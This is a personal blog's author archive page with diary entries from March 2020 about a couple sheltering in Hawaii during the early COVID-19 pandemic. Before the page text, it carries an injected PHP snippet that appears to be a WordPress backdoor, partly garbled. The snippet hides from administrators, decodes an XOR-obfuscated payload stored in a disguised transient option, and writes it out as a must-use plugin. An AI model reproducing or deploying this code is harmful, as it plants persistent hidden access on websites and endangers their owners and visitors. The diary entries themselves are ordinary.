if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 34 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • Thursday, March 26

    Kona, day 5

    Here on these islands one of the biggest concerns is always shipping, as nearly everything is shipped in from somewhere else.  Importantly, and creating an almost audible relief around here, the primary shipping company (at least for groceries) has announced that their shipping schedule will continue unchanged.

    Hawai’ian Airlines announcing that flights will continue, though somewhat diminished; they’re adding cargo runs to assure that supplies are getting around the islands.  They’ve also announced that flights to the mainland will now be on larger, wide body, planes, to accommodate distancing b/t passengers.

    My friend’s wife Rachel is settled into NYU/Langone, and receiving antibiotics to stave off pneumonia.  This morning’s report is that she’s ok, feeling a little better than when she first got there.  The general rule is that such things take a few days to establish and recognize improvement—fingers and toes crossed.

    There is some writing going on, but it’s certainly slow.  Still hard to concentrate, but really hoping to spend a bit of time on yoga/meditating to settle my mind a bit more.

  • Wednesday, March 25

    Kona, day 4

    Awoke mid-night to a text from a very dear friend in NYC whose wife has been down with covid.  She went to the hospital this morning.  Frightening, to say the least, as similar situations are for so, so many right now.

    About 90 cases in the state of Hawai’I, most on Oahu.  Here on the big island just a few.  People seem generally good about isolating.  A trip to the grocery store saw few people out and about; some walkers, joggers, a few in the store, of course most stores closed.

    Pattie and I just took a drive around the area, “up the hill” to just look around.  Saw some very ritzy areas, gorgeous architecture, and especially stunning landscaping, beautiful views the norm.

    From the loft on the second level here, we can see the sunset; lovely and, telling of these days, framed by the windows…

  • Tuesday, March 24

    Kona, day 3

    Began the day catching up on correspondence from just a few weeks ago, noting just how much our lives have all changed in that short span.  I notice my correspondence becoming more journal-like these days…perhaps not surprising.

    Gov Cuomo reports that the number of infections doubles every three days.

    Gov Ige of Hawaii now announces lockdown (food, medicine, exercise, etc.) until April 30.

    Beginning to think about how long to stay here now, seeing this condo (where we are now) listed on AirBnB at a more reduced price, wondering if possible to get even better rate.  Seeing other places available, of course, though considerably smaller.  Will talk about this with Pattie when she’s up and at ‘em.

    Worried about a friend who now seems to have covid-19, though unconfirmed, as symptoms seem clear (fever, breathing issues).  Another friend reports his 50-yr-old, otherwise tip-top healthy brother-in-law in Italy just passed away.  I don’t know how lucky those of us who’re staying clean can be, how long we can stay clean…every sniffle, moment of fatigue, bring fears of something much worse than the morning stuffiness, etc. 

    A general anxiety and trepidation is the norm now, it’s clear.

  • Monday, March 23

    Kona, day 2.

    Self-quarantine.

    After a day completely inside yesterday, we ventured out for some fresh air.  Our location is just a 5 minute walk from Hon’l beach, which is clearly a hot spot for surfers. 

    Hon’l beach

    We watched them do their thing, a nice diversion, then continued down Ali’I drive towards ‘downtown’.  This strip, which we vividly remembered from 10 weeks ago as very busy, heavily trafficked, and super-lively is now, unsurprisingly, eerily quiet.

    surfers don’t give in

    There are still restaurants and bars open, which did surprise us, but I’m sure that won’t last more than a day or two longer.  We walked through the area, still loving the ocean views and especially the amazingly clear waters. 

    The scuba possibilities are dwindling, of course.  Boat permits have been pulled by the state/county, so there’s no boat diving.  Some shops are still renting gear and noting good shore dive spots but, again, not sure how long that will last.

    I went out to Safeway and Longs Drugs/CVS to pick up a prescription…stores and roads certainly not empty, but not busy, either.

    Once back home, splitting time between catching up on correspondence, which seems a lot these days, and starting a little cello piece—that’s been a fun diversion, and an unexpected shift from the vocal music I’ve been working on.

  • Sunday, March 22

    Kona, day 1

    Yesterday, shortly after we arrived in Kona, the Governor of Hawaii announced that anyone (guests, residents) arriving in the state must self-quarantine for 14 days.  Having been in the state since January 11, this wouldn’t apply to us, but the local headlines do seem to be indicating that a general “lock down” is near at hand.

    Just sent a letter to my long-time students, and that feels at least a smidge better.

    Really spent the entire day inside, not even leaving the apartment. Communicating with family is good and reassuring; hearing from a dear friend whose wife is now under the weather—presumably covid-19, though not yet confirmed.

  • Saturday, March 21

    Oahu to Kona

    Thankfully, a good night’s rest last night.

    Yesterday really just spent sitting around the condo, like people everywhere.  As the weather was quite nice during the first part of the day, lots of families playing in small groups down by the water.  In the afternoon we got in the car and drove around to the west side of the North Shore, where we stayed during our first week here in mid-January. 

    Not surprisingly, still lots of cars parked by the area where there’s usually lots of surfers.  But as the waters seems unusually calm, really no surfers out there to watch.  We continued down to old town Hali’ewa, where all the restaurants were closed…but we were really surprised to see lots of folks getting out of tour busses to explore the beaches, try stand-up paddleboards, etc.

    Felt a great deal of relief as mid-day was able to check in online for our flight.  Perhaps not accurate, but it felt as though the likelihood of our flight happening (not being cancelled within 24 hours) was much higher if they’re issuing boarding passes.

    Lots of communication yesterday with Janine, our AirBnB host.  She is very conscientious about letting us know how the condo’s been cleaned; seems she’s done a fabulous job, and we appreciate knowing the steps she’s taken.  She’s also been great about leaving some wipes, bleach, etc., there for us.

    We’re bringing a bit of food with us in our checked bag, but certainly hope we can find some goods available at Safeway/Walmart/Target when we arrive in Kona this afternoon.

    Very easy travel day.  Airport full on the side heading to the mainland and internat’l; empty on the inter-island side.  Our plane was nearly empty with 23 passengers.  We arrived early, picked up the car, got to Safeway where things were well enough stocked for us to feel set for a while. 

    Then on to the AirBnB…it’s really great.  Spacious, comfortable, clean.   Pattie and I both observed that we’ve found the sort of condo we’d be happy to have when the time comes to move out of G’ville.  We’re breathing a sigh of relief, and very satisfied to know that we have a few weeks to figure out our next step—and that staying here longer is actually an option.

    We really are feeling a bit of relief right now, especially as the news is talking about the pressure being put on Hawaii’s governor to issue a ‘shelter in place’ order…it could be that we really just squeaked out in time.

  • Friday, March 20

    Oahu, last full day here (I hope)

    Up since 1:30am, out of bed since 2:15.  Difficulty sleeping, concentrating, focusing on writing.  Yesterday really a nearly total waste, just dealing with Kona rental agreement (big island of Hawaii has some unique rules for extended stays via AirBnB), exchanges with our host there, trying to figure out if we can get groceries there…Will likely do some shopping here before we depart tomorrow, just try to stuff whatever we can into our bags.  Packed scuba gear yesterday; we have enough room for some groceries, that’s not a worry.

    I suspect that if I could stop listening to the news, I could blissfully focus on writing, but the situation here and everywhere else (yesterday’s CA proclamation that all should shelter in place, e.g.) is so very fluid.  I’m almost afraid that if I stop listening, we’ll show up at the airport tomorrow and it’ll be closed w/o our knowing… 

    Not feeling afraid of the virus, just feeling like we’re biding our time to get to tomorrow/Kona.

    Now 5am, should probably try to get a bit of sleep again; we’ll see if that’s possible while listening to Morning Edition…

  • Thursday, March 19

    Oahu, day 5

    Curfews announced on Kauai (not here); as on the mainland, no gatherings of more than 10, so restaurants, etc., are closed except for takeout/delivery.  Flights to Kauai no longer available for non-essentials…  So far not the same news for the big island, where we’re to fly on Saturday.

    sunrise

    US gov’t now to tell citizens to come home or stay put; EU has closed borders to non-essential travel.  Not sure how panicky people are in different areas, but here the few people we do encounter all are remaining quite calm and kind.

    A day pretty much spent in the apt., watching wetsuits dry, and connecting with family/friends to just stay in touch.

  • Wednesday, March 18

    Oahu, day 4

    Awoke in Waikiki for a morning dive.  The first of two dives was a great distraction from everything going on.  Wed descended to an area with two wrecks (Yo 257 and the San Pedro ) just a few hundred yards apart, and no sooner did we get to the deck of the wreck than we saw turtles lounging on the deck, and three spotted sting rays gently swimming by.  We swam through this wreck a bit, though at this depth (about 90’), we really could only stay there about 30’. [Some very pretty views of turtles, sting rays, and a school of barracuda…alas, condensation on the inside of filter (easily fixed, but i just didn’t notice) made gopro shots useless.]

    As we were the only divers on this trip, and we were on enriched air (36%), we had a pretty brief surface interval (30’) and then tried Horseshoe Reef.  The visibility was less than 10’, and we called the dive after about 20’. 

    That lack of clarity was certainly an apt metaphor…We declined the diver/captain’s offer to take us to a clearer site, as I think we were feeling the need to pack up and move along.  On the ride back to the harbor, talk inevitably turned to steps being taken to contain this pandemic, of course.  Mayors on different islands are shutting down so many tourist-related businesses, and every time these boat captains answer their phones, it’s another cancellation.  Tough time, to say the least.

    It has been impossible to get through to the airlines via phone for the past week.  Hawaiian Airlines, the airline we’d been scheduled to fly to Oakland on the way back east, handles cancellations differently than other airlines; you complete an online form, and they process it.  I did that last Friday (3.13), but they’re clearly just so overwhelmed that no action was taken.  So, before leaving Waikiki we went over to the airport and waited in their special services line for a spell. 

    While waiting in that line, we rec’d a phone call from our Kona AirBnB host; that’s where we’re scheduled to be 3.21-4.18.  Janine proved to be mostly concerned about us, whether we needed/wanted her to do some food shopping for us, etc.  She also assured us that if we ultimately needed to stay longer, that the place would be available.  I’m sure she’d be happy to have it rented out, but it was nonetheless to know that we can play this in an open-ended way, at least for now.

    The agent who helped us officially cancel our ticket to Oakland was very helpful—as was everyone in the line—and now we faced the matter of rescheduling that ticket.  As the airlines will only allow a single schedule change on these tickets, the agent advised me to schedule this only when we knew for sure when we wanted to leave.  Knowing that our accommodations are available after 4.18, and not knowing anything about how long this situation will be bad, we decided to just leave this return ticket unscheduled for the time being.

    We drove back up to Hau’ula, washed our scuba neoprene, and sat down to stay put until Saturday morning’s trip to the airport.

    Pouring rain all afternoon and evening, and our first thunder/lightening storm here.  Very windy, very violent.

  • Tuesday, March 17

    Oahu, day 3

    Came to Waikiki for a few dives; seems effective in terms of being pretty isolated from people, and only leaving the room to dive, so…  We did enjoy a dive to the Sea Tiger wreck which, as it turns out, was the very first dive site here in January.  It’s a small ship, but teeming with life, so very enjoyable.  Highlights included tons of Angel Fish, a pretty large moray eel, and yet another friendly, and huge, pufferfish.

    So very many living around the Sea Tiger
    moray, from above, right in the center of the screen
    Pattie and the Angels…

    another puffer friend

    The second dive was nice enough, a reef that was a bit quiet and uninspiring.  Following the dives, just back to the isolation of the hotel room until Wednesday morning’s dive.